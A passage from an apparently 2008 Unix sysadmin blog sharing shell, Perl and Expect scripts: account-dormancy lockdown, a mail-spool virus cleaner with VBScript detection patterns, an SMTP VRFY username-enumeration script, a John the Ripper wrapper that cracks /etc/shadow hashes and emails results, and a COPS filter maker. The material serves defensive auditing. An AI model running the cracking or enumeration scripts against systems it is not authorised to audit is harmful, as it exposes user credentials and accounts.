$count{$possible_dupe}++
}
foreach $possible_dupe (keys %count) {
push @total, $possible_dupe;
push @{ $count{$possible_dupe} > 1 ? \@both : \@unique_names }, $possible_dupe;
}
@user_names = @unique_names;
foreach $diruser (@user_names) {
$filer = `grep $diruser /etc/passwd|awk -F":" '{print \$6}'`;
push(@user_dirs,$filer);
}
print "FIRST RUN - Checking Home Directories...\n\n";
foreach $history_file (@user_dirs) {
chomp($history_file);
chomp($user_name = $user_names[$counter]);
print "${user_name}: ";
$counter++;
if ( -d "$history_file" ) {
@file_dates=stat("$history_file");
$file_date=$file_dates[9];
} else {
$file_date=0;
}
$difference=$today - $file_date;
if ( $difference >= 3888000 && $difference < 7776000 ) {
# print "45 days old or older, but under 90\n";
# print "passwd -l would be executed\n";
$| = 1;
print "Lock Em Up!\n";
print "Verifying Last Login: ";
$wtmpx_user = grep(/$user_name/, @wtmpx_uv);
if ( $wtmpx_user == 0 ) {
print "No Entries in $wtmpx_file_loc\n";
} else {
@wtmpx_user = grep(/$user_name/, @wtmpx_uv);
$verified = $wtmpx_user[$#wtmpx_user];
print "$verified\n";
}
push(@broken, $user_name);
open(SENDMAIL, "|/usr/lib/sendmail -t");
print SENDMAIL "From: System Administration\n";
print SENDMAIL "Reply-To: sec_account\@xyz.com\n";
print SENDMAIL "To: $user_name@\xyz.com\n";
print SENDMAIL "Subject: $user_name Account LockDown Notice\n";
print SENDMAIL "$user_name,\n";
print SENDMAIL "\n";
print SENDMAIL "\tWe found that you haven't logged into your account on unix server $hostname within the last 45 days.\n";
print SENDMAIL "\n";
print SENDMAIL "\tYour account has been locked. If you still require this access, please have your unix password reset.\n";
print SENDMAIL "\n";
print SENDMAIL "\tIf your account remains dormant for 90 days, your account will be deleted.\n";
print SENDMAIL "\n";
print SENDMAIL "Thanks,\n";
print SENDMAIL "\tSystem Administration\n";
close(SENDMAIL);
} elsif ( $difference >= 7776000 ) {
push(@buckwheats, $user_name);
$| = 1;
# print "User needs to be deleted - ";
# print "90 days old or older\n";
print "Delete Em!\n";
print "Verifying Last Login: ";
$wtmpx_user = grep(/$user_name/, @wtmpx_uv);
if ( $wtmpx_user == 0 ) {
print "No Entries in $wtmpx_file_loc\n";
} else {
@wtmpx_user = grep(/$user_name/, @wtmpx_uv);
$verified = $wtmpx_user[$#wtmpx_user];
print "$verified\n";
}
open(SENDMAIL, "|/usr/lib/sendmail -t");
print SENDMAIL "From: System Administration\n";
print SENDMAIL "Reply-To: sec_account\@xyz.com\n";
print SENDMAIL "To: $user_name@\xyz.com\n";
print SENDMAIL "Subject: $user_name Account Termination Notice\n";
print SENDMAIL "$user_name,\n";
print SENDMAIL "\n";
print SENDMAIL "\tWe found that you haven't logged into your account on unix server $hostname within the last 90 days.\n";
print SENDMAIL "\n";
print SENDMAIL "\tYour account has been terminated. If you still require this access, please send email to the system admin team.\n";
print SENDMAIL "\n";
print SENDMAIL "Thanks,\n";
print SENDMAIL "\tSystem Administration\n";
close(SENDMAIL);
} else {
print "OK\n";
}
}


, Mike




Tuesday, February 5, 2008

Shell Script To Augment Antivirus Software On Unix and Linux Mail Servers

Hello again,

Today's offering is, as usual, borne of personal experience. I first found this method of helping combat virus emails back in the "I Love You" days, when vbscript was automatically opened by all MS products and allowed sufficient access to the Windows system Registry to enable anyone with moderate scripting abilities (or the manual dexterity to cut and paste) to completely destroy other users' systems via embedded (or even attached) scripts. Thank God they've gone out of their way over the past decade to make sure that won't ever happen again (heavy sarcasm - I'm not sure what the proper emoticon for that would be ;)

This shell script is a bit of a "shell" in and of itself, since it reflects a specific setup and probably won't exactly match anyone else's without a bit of modifying. It's one way I found to help out a flood of virus emails on any Linux or Unix host that acts as a mail server (sendmail, qmail, what have you). If you still store your email locally on a Linux or Unix host and have your users access that via POP of IMAP, this can help you clean out virii without having to go near anyone's personal computer.

This script should, optimally, be run as a cron job (once a minute perhaps), but if the situation is desperate, it can also be run in a command line "while loop" to make sure it never takes a break. That can be accomplished like so (We'd also, under this circumstance, recommend running it so that it won't stop running if you get disconnected from your terminal - You can use nohup or check this previous post regarding what to do if nohup hangs up anyway for alternatives, like running the command backgrounded in a subshell) :

host # while :; do /full/path/to/viruscleaner.sh;sleep 5;done

The mechanics of the script are fairly crude, as this is not meant to be a substitute for adequate virus protection on Windows machines, nor is it meant to outperform existing Linux and Unix antivirus products. This shell script is presented as an augmentation to the above mentioned safeguards and can help make them more efficient by taking some of the work away from them.

As an example, one of the simple things this script does to help combat virii waiting in your mail queue is to simply change extensions on attachments to mails that match your search criteria. Rather than delete, or quarantine, a potentially viral email, simply changing the extension of the attachment (From, say, .vbs to .whyInTheWorldWouldYouEverOpenThis ;) can make a huge difference. When someone receives an email with an unknown file type extension attached, they will (at the very least) be prompted by Windows as to whether or not they wish to open it. If you name your new extensions ridiculously enough, they should also be forced to pick a program to open the attachment with. You have every right to be completely baffled if one of your users goes through the double hassle of opening up an email attachment called ClickHere.whyInTheWorldWouldYouEverOpenThis ;) That's why another thing the script tries to do is rewrite vbs code so it won't execute properly.

Extensible possibilities for this script are pretty much endless, since you can do anything to the contents of a mail file on a Linux or Unix system. For instance, if the attachment was uuencoded, you could change the name and then randomly substitute characters in the uuencoded attachment so that it would never be able to be decoded.

Hope you all have fun with this and it saves you some sweat :)

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# viruscleaner.sh
# Check for viral attachments in
# your email work directory
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

cd /var/mail
while :
do
for x in `ls -1d *`
do
egrep -il "Subject: Resume"\|"Subject: I *LOVE *YOU"\|"Subject: fw"\|"Subject: Susitikim"\|"Subject: This *Is *Funny"\|"Subject: Mother"\|"Subject: joke" $x >/dev/null 2>&1
if [ $? -eq 0 ]
then
/usr/local/bin/perl -p -i -e 's/HKEY.*/ifthenfor else #/' $x
/usr/local/bin/perl -p -i -e 's/begin.*//' $x
/usr/local/bin/perl -p -i -e 's/(ap\.wri|c.Copy|regget|regcreate|On Error).*//i' $x
/usr/local/bin/perl -p -i -e 's/set (fso|file|wscr|dir).*//i' $x
/usr/local/bin/perl -p -i -e 's/\(\)/####/' $x
/usr/local/bin/perl -p -i -e 's/sub /end sub/' $x
/usr/local/bin/perl -p -i -e 's/vbs/bad/' $x
/usr/local/bin/perl -p -i -e 's/Subject: I *LOVE *YOU/Subject: Cleaned_ILOVEYOU/i' $x
/usr/local/bin/perl -p -i -e 's/Subject: fw/Subject: Cleaned_fw/i' $x
/usr/local/bin/perl -p -i -e 's/Subject: Sus/Subject: Cleaned_Sus/i' $x
/usr/local/bin/perl -p -i -e 's/Subject: This *Is *Funny/Subject: Cleaned_This Is Funny/i' $x
/usr/local/bin/perl -p -i -e 's/Subject: Mother/Subject: Cleaned_Mother/i' $x
/usr/local/bin/perl -p -i -e 's/Subject: joke/Subject: Cleaned_joke/i' $x
/usr/local/bin/perl -p -i -e 's/Subject: Resume/Subject: Cleaned_Resume/i' $x
fi
done
sleep 60
done


, Mike




Saturday, January 26, 2008

Local Unix Linux Article Repository Updated!

Happy weekend,

As you may or may not know, I'm in the habit of submitting articles on Linux, Unix, shell scripting, etc, to article sites every now and again. Mostly to promote this blog, which shouldn't be a problem if you're reading this ;)

Now that we've got another socked away, I'm bringing it in-house. I do this for 2 reasons:

1. I have no idea when my online articles are going to be randomly deleted

2. Generally, I have to "edit for content" no matter where I submit. This is okay, although I must admit that it burns a little when I have to pour over an article to remove html tags and relevant links (against policy) only to have my words draped with 100's of advertisements for miracle cream ;)

For today, I've posted both versions of an article on ways to trick JumpStart into working across subnets without following the rules :) In a future post, we'll go into how to script out this kind of setup, so you can do it on the fly. Sometimes, when the seconds count, executing a shell script is a lot more comforting than methodically following a long set of rules ;)

Here they are - the two separate versions (Posting both because the two separate article sites mangled them in two separate ways):

Jumpstarting Across Subnets - version 1

Jumpstarting Across Subnets - version 2

Hope you enjoy reading one of them and have a great Saturday!

, Mike




Sunday, January 13, 2008

Creating Derived Profiles For Solaris Jumpstart

For today's post, I wanted to take a look at a part of Solaris JumpStart that (with the advent of JASS and SST) not many administrator's avail themselves of anymore. Derived Profiles. It's true that they've always had a limited usefulness, but I always thought they were good things to know how to create. And, they still work with Jumpstart to this day!

Derived profiles (basically, Unix shell scripts) enable the Solaris JumpStart administrator to create custom profiles, or class files, on the fly. These are useful when the similarity between two machines would result in the creation of convoluted, or impossible, rulesets in the rules file to distinguish between them (Obviously, this doesn't apply if you keep your ruleset matches to hostnames. I hope ;)

To use a derived profile on Solaris, the ruleset that matches the particular machine must have its profile_script variable replaced by an equals (=) sign and the begin_script field set to the name of the begin script that will be creating the derived profile.

Ex:
! karch sun4c && memsize 128 profile_script = finish_script


Normally, at the end of the ruleset after the match criteria, you'd see something like:

begin_script profile_script finish_script

More often than not, that old standard would be written as:

- profile_script finish_script

since begin scripts aren't used very much anymore (as noted above).

But the "=" sign that indicates you'll be deriving a profile, makes it so the place in the argument where the begin_script name would normally reside should become the name of the profile_script you're going to derive through creative scripting. You can name your derived profile shell script "begin_script," but it might cause confusion. Depending on how you process thought, one way is more intuitive than the other. And, as luck would have it, neither are wrong :)

And, that's all there is to that. When a given machine matches the indicated ruleset, the begin script will create the profile, or class file, according to the instructions provided by your begin script. The more advanced your scripting skills, the more useful and practical these simple Unix scripts can, ultimately, be for you. With a little bit of work, you might be able to save yourself a lot of repetitive scripting in the future.

Assuming you still like to do it the old-fashioned way, like me ;)

Cheers,

Example Derived Profile script To Handle Locally Attached Disk:


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# This script parses the install clients /dev/dsk directory,
# passes over all non-disks and uses all available disks for
# the OS install.
#
# Note that $SI_PROFILE is automatically defined by Solaris
# and begin scripts execute with the main disk mounted on /tmp
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#!/bin/ksh

echo "install_type initial_install" >>${SI_PROFILE}
echo "system_type standalone" >>${SI_PROFILE}
echo "partitioning default" >>${SI_PROFILE}
echo "cluster SUNWCreq" >>${SI_PROFILE}
ls /tmp/dev/dsk |while read line
do
notdisk=`echo $line|cut -d"t" -f2|cut -d"d" -f1`
disk=`echo $line|cut -d"s" -f2`
if [ $notdisk -gt 3 ]
then
continue
elif [ $disk -eq 2 ]
then
whole=`echo $line|cut -d"s" -f1`
echo "usedisk $whole" >>${SI_PROFILE}
else
continue
fi
done

Saturday, January 12, 2008

Taking a Look At Expect on Linux and Unix

Hey There,

Another lazy Saturday (actually, I'm just finishing a fun 7pm to 5am shift), so I thought I'd kick it off by touching on a subject we've never addressed in any of our Unix or Linux shell scripts. I expect you know what I'm talking about if you've read the title (There was almost no way around making a bad joke there ;)

Expect is a great tool to incorporate in a shell script when you need to fake some form of human interaction. For instance, if you need to do some complex work over Telnet or SSH. We'll get into more complicated scripts later, and tailor them for both Linux and Unix. Today, I snapped out a quick Expect script to introduce the language. If you've been around long enough (or had the pleasure) to use chat, Expect is probably going to seem fairly familiar. Its name explains the core functionality. It "expects" some sort of input (That you determine or decide) and reacts on it when it finds it (which action you also dictate).

For today, just take a look at this script, and you can see what I mean. The language, itself, is an extension of the TCL language, which makes it easy to program in all on its own (and get very creative with ;) Most of the commands are self-explanatory, and you'll note that lines like:

expect -re "220 .*\r\n"

are instructions to the Expect shell telling it to react when it recognizes that particular regular expression (as denoted with the "-re" flag). Basically, it's going to wait for a line to pass into its buffer that reads "220 whatever" ending with a carriage return and then react on that.

Another interesting thing, that ties into the above, and should be a mainstay of Unix and Linux Expect scripting, is the "timeout" variable. This is set in the script at the top:

set timeout 10

but can be set multiple times in the script and (given the default value I've chosen) can be left out if you want to go with the standard 10 second timeout. This directive tells Expect that, when it's expecting something, if it doesn't find it in 10 seconds, it should move on to the next line.

The little script below simply connects to a server's SMTP port and attempts to issue the VRFY command to determine if a user name is good or not. Now, most servers won't respond to that command, due to growing security problems with its use (or misuse ;), but this is just an example. And it may just work.

The last line ("interact") tells Expect it's time for you the user to do your thing. You can escape out of this by ending the currently spawned process (the SMTP prompt). You can just type "quit", or ctl-C, and the remainder of script will process. In this case, you'll get a shell prompt, as the script ends with that line :)

Enjoy,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/expect

#
# lame example script. Connect
# to a mail server and see if we
# can verify usernames
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

set timeout 10
send_user "Checking...\n"
log_user 0
set wordfile $argv
eval spawn telnet localhost 25
expect -re "220 .*\r\n"
set wf [open $wordfile]
while {[gets $wf buf]!=-1} {
set word $buf
send_user "$word... "
send "VRFY $word\r"
expect {
-re "2.. .*\r\n" {
send_user "Good!\n"
}
-re "5.. .*\r\n" {
send_user "Bad!\n"
}
}
continue
}
interact

Thursday, January 10, 2008

Manpage Creation Shell Script For Unix Or Linux

Hey there,

I've finally cranked out the first version of my little manpage generator for Linux and Unix. It's slightly bent toward Solaris, since I had to do all the shell scripting on a Sun box and only had access to their selection of manpage categories at hand (Near the end of the script, where it decides under what directory it will put your manpage).

You'll need to run this script as the root user (assuming you want to actually put your manpages in the man directories). You can run it as a regular user and have it just produce a manpage in your current working directory, also (This will happen by default if you don't have permission to write to your man directories, or they don't exist). On both Solaris Unix and RedHat Linux (probably all other distro's, too), you can then preview your manpage by updating your environment's MANPATH variable, like so:

MANPATH=$MANPATH:.;export MANPATH <--- Assuming sh, jsh, Posix shell, etc.

or

export MANPATH=$MANPATH:. <--- Assuming pretty much every other shell.

Then just type:

man "whateverYouCalledYourManpage"

and you can preview what it looks like using Linux or Unix's built-in parsers.

Here's hoping you find some use for this. Since I write a lot of scripts that are too long to put on this site (who knows; maybe someday ;), I'm going to enjoy creating a whole bunch of these and installing them on our servers so I can let everyone know they can RTFM. Hopefully, with this simple shell script, you'll be able to enjoy the same benefit :)

Best Wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh
#
# manmake - Simple Manpage File Generator
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'echo;echo "Cleaning up and bailing out!";rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile;exit' 1 2 3 15

clear;
echo
echo "Welcome to the Simple Man Source File Maker"
echo "-------------------------------------------"
echo "Please don't expect nuthin' fancy here..."
echo
echo "Control-C will quit you cleanly at any point!"
echo "Tap or pound on the return key to continue."
read OBLIGSTOP
echo
echo "PLEASE USE EXTREME CAUTION WITH THIS UTILITY!!!"
echo "Sure, it won't be the end of the world if it happens,"
echo "but please make sure that the file you're creating"
echo "a new manpage for does not share the name of a utility"
echo "already in existence. This will confuse the operating"
echo "system severely. ...It's not as smart as it would"
echo "like you to think."
echo
echo "For more information, check out the manpage on this"
echo "program before diving in!"
echo
echo "Hit return to continue..."
echo
read OBLIGTWO
echo
echo "What's the name of your program?"
echo
read ONE
echo
echo "Give a brief, one-line type description"
echo
read TWO
echo
echo "Give the full invocation path and any available"
echo "options for the command line"
echo
read THREE
echo
echo "Give the abolute pathnames of any other files"
echo "associated with this program, assuming there are"
echo "any. Type one entry per line. When you're "
echo "finished, type \"endoffile\", less the quotes,"
echo "on a line by itself and hit return."
echo "If there aren't any, just type endoffile."
echo
while read ADDFILE
do
if [[ $ADDFILE == endoffile ]]
then
break
else
echo $ADDFILE >> addfile
fi
done
echo
echo "What Platforms is it available for?"
echo
read FOUR
echo
echo "Now we'll start on descriptive paragraphs!"
echo
echo "When finished with one paragraph, type \"sunshine\","
echo "minus quotes, on a line, by itself, and hit return. You"
echo "can then enter another and another, ad infinitum."
echo "Type \"endoffile\", minus the quotes, on a line by"
echo "by itself to indicate you are through typing your"
echo "entry. Please note that a section describing"
echo "your command line options and their specifics"
echo "will follow!Also, please note that the buffer limit"
echo "is currently only one line. So be sure before you"
echo "hit return!"
echo
echo "Will you be entering this info at the command line"
echo "or feeding me a file?"
echo
echo "Enter \"file\" for file or \"com\" for command line..."
echo
read CHOICE
if [[ $CHOICE == com ]]
then
echo
echo "Begin Typing!"
echo
while read FIVE
do
if [[ $FIVE == endoffile ]]
then
break
else
echo $FIVE >> partemp0
fi
done
elif [[ $CHOICE == file ]]
then
echo
echo "Please enter the filename. Also, please be"
echo "advised that the file format should be exactly"
echo "the same as described above, however, you "
echo "should not include \"endoffile\" as the last"
echo "line as this will only end up as part of your"
echo "description!"
echo
read FILENAME
if [ -f $FILENAME ]
then
cat $FILENAME >> partemp0
else
echo
echo "$FILENAME isn't here for me to feed on."
echo "Looks like we'll have to start again!"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit 1
fi
else
echo
echo "What in God's name happened?"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit1
fi
echo
echo "Now we'll need your options! Enter"
echo "these by typing the option on one line"
echo "in the following format:"
echo " option x"
echo "where \"x\" is the letter or short name"
echo "of the option."
echo "Follow this line with a paragraph describing"
echo "the options attributes. Again, you can end"
echo "this section by entering \"endoffile\", minus"
echo "the quotes, on a line by itself! And, also"
echo "don't forget the buffer size of one line!!"
echo
echo "Will you be entering this info at the command line"
echo "or feeding me a file?"
echo
echo "Enter \"file\" for file or \"com\" for command line..."
echo
read CHOICE
if [[ $CHOICE == com ]]
then
echo
echo "Begin Typing!"
echo
while read TEN
do
if [[ $TEN == endoffile ]]
then
break
else
echo $TEN >> opt0
fi
done
elif [[ $CHOICE == file ]]
then
echo
echo "Please enter the filename. Also, please be"
echo "advised that the file format should be exactly"
echo "the same as described above, however, you "
echo "should not include \"endoffile\" as the last"
echo "line as this will only end up as part of your"
echo "description!"
echo
read FILENAME
if [ -f $FILENAME ]
then
cat $FILENAME >> opt0
else
echo
echo "$FILENAME isn't here for me to feed on."
echo "Looks like we'll have to start again!"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit 1
fi
else
echo
echo "What in God's name happened?"
echo
rm -f addfile partemp0 partemp1 opt0 opt1 seealsofile
exit1
fi
echo
echo "Heck, we're almost done, here!"
echo "Now, all I need to know are the"
echo "names of any other man pages you'd"
echo "like to reference on yours. You can"
echo "just enter \"endoffile\", no quotes"
echo "if there aren't any"
echo "pertinent ones yet available!"
echo "Enter them all on separate lines!"
echo
while read TWENTY
do
if [[ $TWENTY == endoffile ]]
then
break
else
echo $TWENTY >> seealsofile
fi
done
echo
echo "Okay, now You'll need to decide "
echo "what category your manpage or"
echo "program fits into. Just enter the"
echo "number of the option that best suits"
echo "you. The options listed follow the"
echo "the Sun specifications to a fair degree"
echo "and may not truthfully represent the"
echo "man directory structure order on your"
echo "current operating system. If you're not"
echo "a seething purist, it shouldn't matter"
echo "much."
echo
echo "1. User Commands and Application Programs."
echo "2. System Calls and Error Numbers."
echo "3. C Libraries and Functions."
echo "4. File Formats."
echo "5. Headers, Tables and Macros."
echo "6. Games and Demos."
echo "7. Device and Network Interfaces."
echo "8. Additional software (Could be anything)."
echo "9. Device Driver Interfaces."
echo
read TWENTYONE
echo
echo "All right, hold on while I slap together"
echo "your man page and load it for you!"
echo
DATE=`date "+%b %d %Y"`
print ".\" @(#)${ONE}.1 1.29 95/10/09 SMI; from Sun" >> manfile
print ".TH ${ONE}.${TWENTYONE} \"${DATE}\"" >> manfile
print ".SH NAME" >> manfile
print ".LP" >> manfile
print "$ONE \ - $TWO" >> manfile
print ".SH SYNOPSIS" >> manfile
print ".LP" >> manfile
print ".B $THREE" >> manfile
print ".SH AVAILABILITY" >> manfile
print ".LP" >> manfile
print "$FOUR" >> manfile
print ".SH DESCRIPTION" >> manfile
print ".LP" >> manfile
print ".IX \"${ONE}\" \"\" \"\fL${ONE}\fP \ (em ${TWO}\"" >> manfile
print ".IX \"${TWO}\" \"\" \"${TWO}\"" >> manfile
print ".LP" >> manfile
if [ -f partemp0 ]
then
sed 's/^ *sunshine/.LP/' partemp0 >> partemp1
cat partemp1 2>/dev/null |while read LINE
do
print $LINE >> manfile
done
fi
print ".LP" >> manfile
print ".SH OPTIONS" >> manfile
print ".LP" >> manfile
if [ -f opt0 ]
then
sed 's/^ *option *\(.*\)/.LP\
.B "\1"\
.LP/' opt0 >> opt1
cat opt1 |while read LINE
do
print $LINE >> manfile
done
fi
print ".LP" >> manfile
print ".SH FILES" >> manfile
print ".LP" >> manfile
print "${THREE}" >> manfile
if [ -f addfile ]
then
cat addfile >> manfile
fi
print ".LP" >> manfile
print ".SH \"SEE ALSO\"" >> manfile
print ".LP" >> manfile
cat seealsofile |while read LINE
do
print ".BR $LINE" >> manfile
done
print "" >> manfile
mv manfile ${ONE}.${TWENTYONE}
if [ -d /usr/man/man${TWENTYONE} ]
then
cp ${ONE}.${TWENTYONE} /usr/man/man${TWENTYONE}/
chown bin /usr/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chgrp bin /usr/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chmod 444 /usr/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
echo "Copied to /usr/man/man${TWENTYONE} - Left a copy"
echo "here as ${ONE}.${TWENTYONE} for your convenience"
elif [ -d /usr/share/man/man${TWENTYONE} ]
then
cp ${ONE}.${TWENTYONE} /usr/share/man/man${TWENTYONE}/
chown bin /usr/share/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chgrp bin /usr/share/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
chmod 444 /usr/share/man/man${TWENTYONE}/${ONE}.${TWENTYONE}
echo "Copied to /usr/share/man/man${TWENTYONE} - Left a copy"
echo "here as ${ONE}.${TWENTYONE} for your convenience"
else
echo "Couldn't place the manfile in any normal man"
echo "directories!! The culprit is most likely the"
echo "number you chose. I've saved your completed"
echo "formatted file as ${ONE}.${TWENTYONE} in the"
echo "current directory. All you'll need to do is"
echo "create, or have someone else create, the "
echo "directory \"/usr/man/man${TWENTYONE}\" and"
echo "put this file in there!"
echo
echo "Example:"
echo "mkdir /usr/man/man${TWENTYONE}"
echo "mv ${ONE}${TWENTYONE} /usr/man/man.${TWENTYONE}/"
echo
echo "You should be all set!"
echo
rm -f addfile opt0 opt1 partemp0 partemp1 seealsofile
exit
fi
echo
echo "At the prompt, type \"man\" followed by the"
echo "name you entered for your program and hit return!"
echo
rm -f addfile opt0 opt1 partemp0 partemp1 seealsofile


, Mike




Wednesday, January 9, 2008

Simple Linux and Unix Password Cracker Shell Script

Hey there,

I'm about "this" close to finishing my manpage creator, to compliment the manpage converter post, and should have that all set for tomorrow (can you guess I was hoping to get that out today? Work. It just gets in the way ;)

Today, I thought I'd go over a simple shell script that runs on both Linux and Unix (hopefully, pretty much any flavor) to wrap a popular password cracking program called John The Ripper, JTR from here on out, which you can download directly from this page, if you're not already using it.

JTR is something I've used almost everywhere I've worked, whether or not a separate security department existed. It seems that a lot of companies are moving away from the individual Unix and Linux shell based programs and spending all their money on graphical tools that work on the entire network but end up causing more problems than they resolve. If you're a sysadmin, you know that, when the GUI breaks, the problems always come back to you anyway :P

For the above-mentioned reason, I wrote this script (for Solaris Unix and Redhat Linux primarily) to make sure that I, and any of my co-workers, could at least have a pulse on the state of security insofar as it relates to user account passwords. Even if you don't have the authority to compel users to comply with simple standards, you can at least get to the really bad ones (username: mike, password: Mike1).

Hopefully, you'll be able to reap some benefit from this script. And you can, of course, feel free to keep sharpening those shell scripting skills by modifying this to suite your needs (For instance, my script assumes that you are using a shadow password system and that you only want to do one quick password check followed by a dictionary crack attack). If you've installed JTR in /usr/local, as I have (under the symlink directory "jtr," to help out with upgrade transitions - I also prefer /usr/local because it falls outside the directory conventions of most Unix and Linux systems - /opt, /share, etc - and is more directly portable), you shouldn't have to modify this too much.

If there's anything I'd strongly suggest, it's that you go out and find a better dictionary file than the standard "dict" file. Of course, if you modify the script to use a larger dictionary file, you can expect your execution times to lengthen as well.

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/sh

#
# john.sh - 2008 - Mike Golvach - eggi@comcast.net
#
# Throw this in your crontab and run nightly, or
# weekly, depending on how much crunch-time you can
# afford to take.
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

/usr/local/jtr/unshadow /etc/passwd /etc/shadow >/usr/local/jtr/passwd.1
/usr/local/jtr/john -single /usr/local/jtr/passwd.1 >/usr/local/jtr/PASSFILE 2>&1
/usr/local/jtr/john -wordfile=/usr/local/jtr/dict /usr/local/jtr/passwd.1 >>/usr/local/jtr/PASSFILE 2>&1
if [ -s /usr/local/jtr/john.pot ]
then
(echo "Subject: Passwords Cracked on `hostname`";cat /usr/local/jtr/PASSFILE)|/usr/lib/sendmail -t youguys@yourdomain.com
fi
rm /usr/local/jtr/passwd.1
rm -f /usr/local/jtr/john.pot
rm -f /usr/local/jtr/PASSFILE


, Mike




Tuesday, January 8, 2008

Simple Script To Generate COPS Filter Files

Hey There,

For those of us out there that still use COPS (Not the new Persistence Checker, but the good old Computer Oracle and Password System) for Unix or Linux, today's script should come in handy. The program, itself, is obsolete (replaced by other programs like Tiger, which we'll touch on in a future post), but it seems to pop up almost everywhere I go and, while it may not be able to identify the latest and greatest operating system exploits, it's still good for finding those bad things that remain constant.

Since this package is so hard to find nowadays, I've put it up here as cops.zip. As an added bonus (depending on how you look at it, I suppose), the version I put up there has the hack already built into the COPS script so it doesn't litter up your hard drive with .FILT files, there's a sample email output and I've also included today's script in the distribution. Hopefully, I'm not breaking any laws. If I find out I am, I'll pull it, but I don't think that will be necessary. The whole distro should be good to go. You'll just need to edit the lines that ask you to edit them in the COPS script . Oh yes, also extract it into its own folder :)

This script addresses the issue of how COPS makes use of filtering. When you first run COPS, you're basically taking a baseline reading. You'll get emailed a number of errors (or you can just have them dumped to an output file - the configuration preference is yours) on the initial run, with regards to problems the software finds on your system, which is executed like so:

./cops

Not very complicated, I know ;) Once done, you then correct all the errors you need (or want) to by running the script, checking output, running the script again, etc, etc, etc.

Now, with COPS (as with most security software), you're going to end up getting notified of any number of errors that you are willing to accept (For instance - if you run sendmail, it will always complain that the version you're running "may have a hole/bug"). And that's were the filter file comes in. With a COPS filter file all set up, you can run the program like this, and not get notified unless you have an issue you need to tend to:

./cops -f ./cops_filter <--- Note that the "-f" is the important flag here. You can call the filter whatever you want.

Simple enough, yes? In a way. The reason I wrote this script is that COPS' filter file is actually an awk script that it feeds its results through; after which it emails you if there's any output left. Outside of the main construct of the filter file, you don't really have to change much to augment the basic example filter that comes with the distribution. But, you do need to know enough about awk, to be able to extend the matching it does, to include the entries you don't want to be notified of. That, in my experience, is one of the leading causes of heartburn on the job ;)

And, so, here we have it. A little shell script (for Linux and/or Unix) which writes an awk file. I chose to call the output cops_filter, just based on the standard naming convention, but you can modify this as you need. Note that the script also backs up your current filter file and lets you know what it called it, just in case you lose track at some point. It accepts input from a file that you can create manually or by cutting and pasting a COPS email message directly (just the body; no headers please!)

This program can be run simply and requires no arguments, as it's all menu driven:

./cfm <--- Or whatever you want to call it.

Easy :)

Best Wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/ksh
#
# CFM - COPS Filter Maker - 2008 Mike Golvach - eggi@comcast.net
# Works equally well with COPS-Produced Source Or a Saved COPS
# Mailing. Will create a new filter file or augment an existing one.
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

trap 'echo;echo "Bailing Out and Cleaning Up...";echo;clean_up;exit 1' 1 2 3 15

function clean_up {
rm -f harpo zeppo tempo newtempo filterfile
}

function stand_err {
echo
echo "$1 doesn't seem to exist!"
echo "Put it in this directory or use"
echo "an absolute pathname!!"
echo
echo "(Hit Return To Continue)"
read OBLIGSTOP
echo
clean_up
exec ./cfm
}

function part_one {
echo "/Warning!/ {" >> filterfile
echo "if (warning) print warning_msg" >> filterfile
echo "warning = skip_next = 0" >> filterfile
echo >> filterfile
echo "if ((\$0 ~ /Warning! Opening Bracket, If this gets \
matched, you've got strange problems!/) || \\" >> filterfile
}

function part_two {
sed -e 's/^X/(\$0 ~ \//' tempo >> newtempo
sed -e 's/.$/\/) || \\/' newtempo > tempo
sed -e 's/\//\\\//g' tempo > newtempo
sed -e 's/\\\/W/\/W/' -e 's/\\\/)/\/)/' -e 's/\\\/bug *.*\//\//' -e 's/\\\/ftp-Warning/\/ftp-Warning/' newtempo > tempo
sed -e 's/(/\\(/g' -e 's/)/\\)/g' tempo > newtempo
sed -e 's/\\(\$/(\$/' -e 's/\\) |/) |/' newtempo > tempo
cat tempo >> filterfile
echo "(\$0 ~ /Warning! Thanks for the ride!/)) {" >> filterfile
echo "skip_next = 1" >> filterfile
echo "next" >> filterfile
echo "}" >> filterfile
echo >> filterfile
echo "warning = 1" >> filterfile
echo "warning_msg = \$0" >> filterfile
echo "}" >> filterfile
echo >> filterfile
echo "! /Warning!/ {" >> filterfile
echo "if (warning)" >> filterfile
echo "print warning_msg" >> filterfile
echo "warning = 0" >> filterfile
echo "if (!skip_next && \$0 !~ /\*\*\*\*/)" >> filterfile
echo "print \$0" >> filterfile
echo "}" >> filterfile
echo "/\*\*\*\*/ {" >> filterfile
echo "print \$0" >> filterfile
echo "}" >> filterfile
echo
}

if [[ $# -ne 0 ]]
then
echo
echo "Ooops! Usage: cfm ...and that's all"
echo
exit 1
fi
clear
typeset -x COLUMNS=1
echo
echo " COPS FILTER MAKER"
echo "---------------------------------"
echo " Are You..."
